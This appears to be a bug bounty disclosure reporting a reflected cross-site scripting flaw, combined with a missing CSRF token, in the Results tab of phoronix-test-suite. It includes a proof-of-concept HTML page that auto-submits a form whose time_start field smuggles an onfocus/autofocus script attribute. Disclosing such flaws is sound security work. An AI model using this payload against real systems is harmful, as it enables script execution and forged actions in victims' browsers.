Cross-site Scripting (XSS) - Reflected in phoronix-test-suite/phoronix-test-suite

2022-02-0903:48:52

tuonggg

www.huntr.dev

cross-site scripting

reflected

phoronix-test-suite

results tab

vulnerability

bug bounty

EPSS

0.001

Percentile

48.0%

JSON

Description

Hi, i found a Reflected XSS vulnerability (POST based XSS + no CSRF token) in phoronix test suite, Results tab.

Proof of Concept

Install a local instance of phoronix
create a Search results form like this:
// PoC.html
&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://localhost:8222/?results" method="POST"&gt;
      &lt;input type="hidden" name="time_start" value="2022&#45;02&#45;08&quot;onfocus&#61;&quot;confirm&#40;origin&#41;&quot;autofocus&#61;&quot;" /&gt;
      &lt;input type="hidden" name="time_end" value="2022-02-09" /&gt;
      &lt;input type="hidden" name="containing_tests" value="testt" /&gt;
      &lt;input type="hidden" name="result_limit" value="100" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
//
and send to victim. Victim click on the link resulting reflected cross site scripting.

Impact

This vulnerability is capable of Reflected XSS

EPSS

0.001

Percentile

48.0%

JSON

Related for A5039485-6E48-4313-98AD-915506C19AE8